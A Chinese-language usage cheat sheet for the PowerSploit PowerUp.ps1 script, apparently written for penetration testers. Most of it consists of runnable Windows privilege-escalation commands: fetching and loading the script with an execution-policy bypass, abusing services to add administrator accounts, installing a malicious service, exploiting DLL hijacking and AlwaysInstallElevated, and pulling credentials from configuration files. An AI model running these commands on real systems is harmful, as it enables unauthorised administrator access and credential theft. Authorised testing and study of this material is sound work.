1. 獲取與加載
- 從 GitHub 下載:
(New-Object Net.WebClient).DownloadFile("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1", "C:\Temp\PowerUp.ps1")
- 本地加載:
Import-Module .\PowerUp.ps1
- 繞過執行策略:
powershell.exe -ep Bypass -File PowerUp.ps1
2. 場景化使用
場景 1:快速全面掃描提權機會
- 需求:快速了解目標系統所有潛在提權路徑。
- 命令:
Invoke-AllChecks
- 用途:掃描所有漏洞向量(如服務、注冊表、DLL 劫持等),輸出詳細結果及建議的濫用函數。
- 擴展:生成 HTML 報告,便于分析:
Invoke-AllChecks -HTMLReport
- 適用場景:滲透測試初期,需全面摸底系統配置。
場景 2:檢查服務相關提權
- 需求:發現可利用的服務配置錯誤(如未加引號路徑或可修改服務)。
- 命令:
- 未加引號服務路徑:
Get-ServiceUnquoted
- 可修改服務:
Get-ModifiableService
- 可寫服務二進制路徑:
Get-ModifiableServiceFile
- 未加引號服務路徑:
- 用途:識別服務配置漏洞,常用于服務路徑劫持或替換服務二進制。
- 利用示例:
- 發現可修改服務后,添加管理員用戶:
Invoke-ServiceAbuse -Name "Vuln-Service" -Username "john" -Password "Password123!"
- 利用未加引號路徑:
Write-ServiceBinary -Name "unquotedsvc" -Path "C:\Program Files\Unquoted Path Service\Common.exe" -Username "badmin" -Password "p4ssw0rd"
- 發現可修改服務后,添加管理員用戶:
- 適用場景:目標系統運行大量服務,需針對服務提權。
場景 3:查找 DLL 劫持機會
- 需求:檢查是否存在 DLL 劫持漏洞以提升權限。
- 命令:
- 查找 DLL 劫持:
Invoke-FindDLLHijack
- PATH 環境變量劫持:
Invoke-FindPathDLLHijack
- 查找 DLL 劫持:
- 用途:識別缺失或可寫 DLL 的加載路徑,適合植入惡意 DLL。
- 適用場景:目標系統運行自定義應用程序,可能存在 DLL 加載問題。
場景 4:檢查注冊表提權路徑
- 需求:發現注冊表配置錯誤(如自動運行程序或 UAC 繞過)。
- 命令:
- 自動運行程序:
Get-RegistryAutoRun
- AlwaysInstallElevated(UAC 繞過):
Get-RegistryAlwaysInstallElevated
- 自動運行程序:
- 利用示例:
- 利用 AlwaysInstallElevated:
Write-UserAddMSI
- 利用 AlwaysInstallElevated:
- 適用場景:目標系統配置了自動運行程序或啟用了高權限安裝策略。
場景 5:提取憑據與配置文件
- 需求:從系統配置文件中獲取敏感憑據。
- 命令:
- Web 配置文件憑據:
Get-Webconfig
- Unattended.xml 憑據:
Get-UnattendedInstallFile
- Web 配置文件憑據:
- 用途:提取未加密的憑據,獲取管理員賬戶或服務賬戶信息。
- 適用場景:目標系統為 Web 服務器或存在自動安裝配置文件。
場景 6:檢查令牌與權限
- 需求:了解當前用戶的權限或令牌狀態,尋找特權提升機會。
- 命令:
- 進程令牌權限:
Get-ProcessTokenPrivilege
- 用戶 SID 組:
Get-ProcessTokenGroup
- 進程令牌權限:
- 利用示例:
- 啟用特權(如 SeDebugPrivilege):
Enable-Privilege -Privilege "SeDebugPrivilege"
- 啟用特權(如 SeDebugPrivilege):
- 適用場景:當前用戶擁有潛在高權限令牌,需進一步利用。
場景 7:創建惡意服務提權
- 需求:通過安裝自定義服務執行高權限命令。
- 命令:
Install-ServiceBinary -Name "EvilService" -Command "net user hacker Pass123! /add"
- 用途:創建新服務以運行提權命令,適合無現成漏洞但有服務創建權限的場景。
- 適用場景:目標系統允許低權限用戶創建服務。
3. 輸出與記錄
- 保存結果:
Invoke-AllChecks | Tee-Object -FilePath C:\Users\Public\report.txt
- 生成 HTML 報告:
Invoke-AllChecks -HTMLReport
- 用途:便于整理分析或提交測試報告。
4. 實用提示
- 運行環境:Windows 系統,PowerShell 2.0+,低權限用戶運行以發現提權路徑。
- 注意事項:
- 確認服務可重啟(
CanRestart: True
)再利用。 - 測試前評估命令影響,避免破壞系統。
- 優先手動驗證
Invoke-AllChecks
結果,避免直接運行自動提權。
- 確認服務可重啟(
- 獲取幫助:
示例:Get-Help <Cmdlet-Name> -Full
Get-Help Get-ModifiableService -Full